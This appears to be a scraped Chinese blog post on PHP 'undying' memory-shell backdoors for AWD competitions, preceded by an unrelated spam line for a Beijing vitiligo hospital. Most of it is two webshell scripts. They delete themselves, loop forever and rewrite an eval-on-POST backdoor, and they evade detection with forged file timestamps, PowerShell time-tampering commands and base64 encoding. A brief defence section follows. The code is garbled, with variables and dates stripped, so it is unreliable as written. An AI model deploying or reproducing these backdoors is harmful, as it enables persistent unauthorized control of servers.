北京看白癜风哪家医院疗效最好 https://wapjbk.39.net/yiyuanfengcai/yyjs_bjzkbdfyy/ 什么是不死马? 内存马,通俗讲就是不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。 会运行一段永远不退出的程序常驻在PHP进程里,无限执行。 在AWD比赛中,不死马对于维持权限十分有效。 生成过程: 不死马.php→上传到server→server执行文件→server本地无限循环生成(一句话.php) 1:网上流传的不死马(内存马) ?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);file=2.php;code=?phpif(md5(_GET["pass"])=="1a1dc91ccddf0cbc72"){ eval(_POST[a]);}?;while(1){file_put_contents(file,code);system(touch-m-d"-12-:10:12".2.php);usleep();}?先来分析解释这个不死马。 1:ignore_user_abort—设置客户端断开连接时是否中断脚本的执行,设置了值为true则忽略与用户的断开,关掉浏览器,PHP脚本也可以继续执行.2:set_time_limit—设置脚本最大执行时间,最大的执行时间,单位为秒。如果设置为0(零),没有时间方面的限制。3:unlink()函数删除文件,__FILE__常量,当前内容写在哪个文件就显示这个文件目录+文件名。unlink(__FILE__);就表示删除文件本身,作为隐蔽作用4:while(1)则一直循环,循环内有usleep();延时函数,延时微秒后执行新的循环将文件写入到服务器中5:system()执行Liunx的touch命令修改文件的创建时间,可以绕过“find–name*.php–mmin-10”命令检测最近10分钟修改或新创建的PHP文件。windows在powershell下修改文件创建,修改,访问时间修改创建时间:Set-ItemProperty-Path./a.txt-NameCreationTimeUtc-Value"-08-:33:44"修改最后修改时间:Set-ItemProperty-Path./a.txt-NameLastWriteTime-Value"-08-:33:44"修改最后访问时间:Set-ItemProperty-Path./a.txt-NameLastAccessTimeUtc-Value"-01-:33:44"文件最后访问时间//(lsa.txt).LastAccessTimeUtc="-12-:33:44"文件最后修改时间//(lsgh.txt).LastWriteTimeUtc="-12-:22:33"文件创建时间修改//(lsgh.txt).CreationTimeUtc="-10-:00:01" 2:进化版 网上流传的不死马并没有判断文件是否存在就写马这样会比较占用服务器资源。 简单进行修改在添加while循环中添加一个if语句file_get_contents函数能读取到文件并且MD5加密后的值相等则等待下一次循环否则执行else语句写入一句话。 ?phpignore_user_abort(true);set_time_limit(0);file=shell.php;code=base64_decode(PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+);while(true){if(md5(file_get_contents(file))===md5(code)){}else{file_put_contents(file,code);}usleep();}? PHP不死马防御: 如果碰到自己服务器被人传了不死马自己改如何应对呢 方法一:“不死马”的缺点,重启自己的Apache或者Nginx服务,将不会再生成了 方法二:使用命令删除进程,kill掉用户所有子程序 1、pkill方式 #pkill-uttlsa 2、killall方式 #killall-uttlsa 3、ps方式 ps列出ttlsa,
|